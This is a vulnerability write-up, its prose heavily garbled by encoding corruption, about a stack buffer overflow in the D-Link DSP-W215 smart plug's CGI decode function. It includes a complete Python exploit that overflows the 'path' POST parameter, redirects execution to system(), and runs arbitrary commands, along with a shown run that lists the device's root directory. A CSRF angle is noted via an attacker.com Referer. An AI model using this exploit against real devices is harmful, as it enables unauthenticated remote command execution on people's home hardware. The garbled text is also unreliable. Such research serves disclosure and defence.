рд╣реИрдХ рдбреА-рд▓рд┐рдВрдХ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 2 15 рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧ: рдлрд┐рд░ рд╕реЗ, рдлрд┐рд░ рд╕реЗ

рдЫрд╡рд┐



рдкрд┐рдЫрд▓реА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ:

  1. рд╣реИрдХ рдбреА-рд▓рд┐рдВрдХ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 2 15 рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧ
  2. рд╣реИрдХ рдбреА-рд▓рд┐рдВрдХ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 2 15 рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧред рдлрд┐рд░
  3. рд╣реИрдХ рдбреА-рд▓рд┐рдВрдХ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 2 15 рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧред рдмрд╛рд░-рдмрд╛рд░




рдЕрдм рддрдХ, DSP-W215 рдореЗрдВ рдкрд╛рдИ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдХреЗрд╡рд▓ LAN рд╕реЗ рд╣реА рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдареАрдХ рд╣реИ, рдЕрдЧрд░ рдЖрдк рдмреЗрд╡рдХреВрдл рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред

рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рддрд░реАрдХрд╛, рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рд╕реБрд▓рдн рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 215, рд╕реАрдПрд╕рдЖрд░рдПрдл рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХреЛрдИ рднреА рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд░реЗрд╖рд┐рдд рдбреЗрдЯрд╛ (urlencode) рдХреЛ рдПрдирдХреЛрдб рдХрд░реЗрдЧрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд╛рдкрд╕реА рдХрд╛ рдкрддрд╛, рд▓реЗрдХрд┐рди рдЙрд╕ рдХреНрд╖рдг рддрдХ рдЬрдм рддрдХ рд╣рдо рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рдереЗ рдЬреЛ рд╣рдорд╛рд░реЗ рдбреЗрдЯрд╛ рдХреЛ рдбреАрд▓реЗрдб рдирд╣реАрдВ рдХрд░рддреА рдереА (рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд░рд┐рдкреНрд▓реЗрд╕рдореЗрдВрдЯ_special_char рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рднреЗрджреНрдпрддрд╛) рдкрд┐рдЫрд▓рд╛ рд▓реЗрдЦ, ASCII рд╡рд░реНрдгреЛрдВ рдХреЗ рдХреЗрд╡рд▓ рдПрдХ рд╕реАрдорд┐рдд рд╕реЗрдЯ рдХреЛ рдбрд┐рдХреЛрдб рдХрд░рддрд╛ рд╣реИ)ред



рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ my_cgi.cgi, рдЬреЛ рдореБрдЦреНрдп рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд▓рдХреНрд╖реНрдп рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдбреАрдХреЛрдб рдбрд┐рдХреЛрдбрд░ рдлрд╝рдВрдХреНрд╢рди рд╣реЛрддрд╛ рд╣реИ рдЬреЛ POST рдбреЗрдЯрд╛ рдХреЛ рдбреАрдХреЛрдб рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рджреЛ рддрд░реНрдХ рджрд┐рдП рдЧрдП рд╣реИрдВ: рдПрдиреНрдХреЛрдбреЗрдб рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдФрд░ рдПрдХ рдмрдлрд░ рдХреЛ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдЬрд╣рд╛рдВ рдбрд┐рдХреЛрдб рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

void decode(char *encode_buf, char *decode_buf);
      
      







рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдПрдирдХреЛрдб_buf рдореЗрдВ рд╕рднреА рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЫреЛрд░реЛрдВ рдФрд░ рдбрд┐рдХреЛрдбреНрд╕ рдпрд╛ рдбрд┐рдХреЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ:

рдЫрд╡рд┐



рдореЛрдЯреЗ рддреМрд░ рдкрд░, рдЙрд╕рдХрд╛ рдХреЛрдб рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:

 void decode(char *encode_buf, char *decode_buf) { int encoded_byte_len; char *encode_buf_end_ptr = encode_buf + strlen(encode_buf); // Loop through all bytes in encode_buf, without knowing how big decode_buf is while(encoded_data < encode_buf_end_ptr) { /* * ... * Do Decoding of the next byte in encoded_data. * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3). * ... */ decode_buf[0] = decoded_byte; decode_buf++; encoded_data += encoded_byte_len; } }
      
      







рдпрджрд┐ рдХреЙрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рд╕рднреА рдбреАрдХреЛрдб рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдлрд░ рдХреЛ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдзреНрдпрд╛рди рдирд╣реАрдВ рд░рдЦрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдмрдлрд░ (рдбреАрдХреЛрдб_рдмреНрдпреВрдлрд╝) рдПрдХ рдмрдбрд╝реЗ POST рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдмрд╣ рдирд┐рдХрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

My_cgi.cgi рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ - get_input_entries:

рдЫрд╡рд┐



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдбреАрдХреЛрдб рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЗрд╡рд▓ рддрднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм POST рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдирд╛рдо рдкрде рд╣реИ, рдФрд░ рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдбрд┐рдХреЛрдб_buf рдмрдлрд░ рд╕реНрдЯреИрдХ рдкрд░ рдХреЗрд╡рд▓ 0 ├Ч 400 рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

 char decode_buf[0x400]; if(strcmp(entries[i]->name, "path") == 0) { // Decode path POST value into the fixed-size decode_buf decode(entries[i]->value, decode_buf); strcpy(entries[i]->value, decode_buf); } replace_special_char(entries[i]->value);
      
      







рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдо POST рдЕрдиреБрд░реЛрдз рдореЗрдВ рдПрдХ "рдкрде" рдорд╛рди 0 ├Ч 400 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдмрдбрд╝рд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдбрд┐рдХреЛрдб_buf рдмрдлрд░ get_input_entries рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рд╕реНрдЯреИрдХ рдкрд░ рдмрд╣ рдЬрд╛рдПрдЧрд╛ред рдФрд░, рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ "рдЦрд░рд╛рдм" рдмрд╛рдЗрдЯреНрд╕ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдХреНрдпреЛрдВрдХрд┐ рдбрд┐рдХреЛрдб рдлрд╝рдВрдХреНрд╢рди рдЙрди рд╕рднреА рдХреЛ рдбрд┐рдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реНрдЯреИрдХ рдкрд░ рд╡рд╛рдкрд╕ рдХреЙрдкреА рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ% 00 рдХреЛ NULL рдмрд╛рдЗрдЯреНрд╕ рдореЗрдВ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ)ред



рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╣рдореЗрдВ рд╢реЛрд╖рдг рдХрд╛ рд╕рдВрдХрд▓рди рдХрд░рддреЗ рд╕рдордп рд╕рд╛рд╡рдзрд╛рдиреА рдмрд░рддрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ рддрд╛рдХрд┐ рд░рд┐рдкреНрд▓реЗ_рд╕реНрдкреЗрд╢рд▓_рдЪрд╛рд░ рдлрдВрдХреНрд╢рди рдореЗрдВ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рди рд╣реЛ, рдЬрд┐рд╕реЗ get_input_entries рд╕реЗ рд▓реМрдЯрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред



рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдбреЗрдЯрд╛ рдЬреЛ рдкрд╣рд▓реЗ_рд╢реЗрд╖_рдХреЗ рдкрд╛рд╕ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд╣ рдкрд╣рд▓реЗ рдбрд┐рдХреЛрдб_рдмреБрдл рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо POST рдЕрдиреБрд░реЛрдз рдХреА рд╢реБрд░реБрдЖрдд рдХреЗ рдХрд░реАрдм рдХрд╣реАрдВ NULL рдмрд╛рдЗрдЯ рдбрд╛рд▓рддреЗ рд╣реИрдВ, рддреЛ рд░рд┐рдкреНрд▓реЗрд╕_рд╕реНрдкреЗрд╢рд▓_рдЪрд░ рдлрдВрдХреНрд╢рди рдПрдХ рдмрд╣реБрдд рд╣реА рдХрдо рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд╛рд╕ рд╣реЛрдЧрд╛ (рд╡рд╣ рд╕рдм рдЬреЛ рдкрд╣рд▓реЗ NULL рд╕реЗ рдкрд╣рд▓реЗ рдерд╛ рдмрд╛рдЗрдЯ) рдкреВрд░реЗ POST рдЕрдиреБрд░реЛрдз рдХреЗ рдмрдЬрд╛рдп рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред



POST рдорд╛рди "рдкрде", 1060 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдЕрдзрд┐рдХ, get_input_entries рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо рдореЗрдВ рд╕рдм рдХреБрдЫ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ:

рдЫрд╡рд┐



рдФрд░ рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ "рдЦрд░рд╛рдм" рдмрд╛рдЗрдЯреНрд╕ рдирд╣реАрдВ рд╣реИрдВ, рд╣рдо рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ 0x00405CEC рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдордиреЗ рдкрд┐рдЫрд▓реЗ рдХрд╛рд░рдирд╛рдореЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдерд╛, рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП () рд╕реНрдЯреИрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХ ($ sp + 0 ├Ч 28):

рдЫрд╡рд┐



рдпрд╣рд╛рдБ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдкрд╛рдпрдерди PoC рдХреЛрдб рд╣реИ рдЬреЛ get_input_entries рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рддрд╛ рд╣реИ, рдПрдХ 0x00405CEC рдкрд░ рдПрдХ рд╕рд┐рд╕реНрдЯрдо () рдХреЙрд▓ рдХреЗ рд╕рд╛рде рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ, рдФрд░ рдСрдлрд╝ $ $ + ├Ч 28 рдкрд░ рд╕реНрдЯреИрдХ рдкрд░ рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реИ:

 import sys import urllib import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "\x00" # Start with a NULL byte to prevent crashing in replace_special_chars buf += "D" * (1060-1) # Stack filler buf += "\x00\x40\x5C\xEC" # $ra, address of call to system() buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command, for good measure # URL encode the path POST value post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20') # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http://www.attacker.com/exploit.html'} req = urllib2.Request(url, post_data, headers) print urllib2.urlopen(req).read()
      
      







рдпрд╣ рдЙрдореНрдореАрдж рдХреЗ рдореБрддрд╛рдмрд┐рдХ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

 $ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www
      
      






All Articles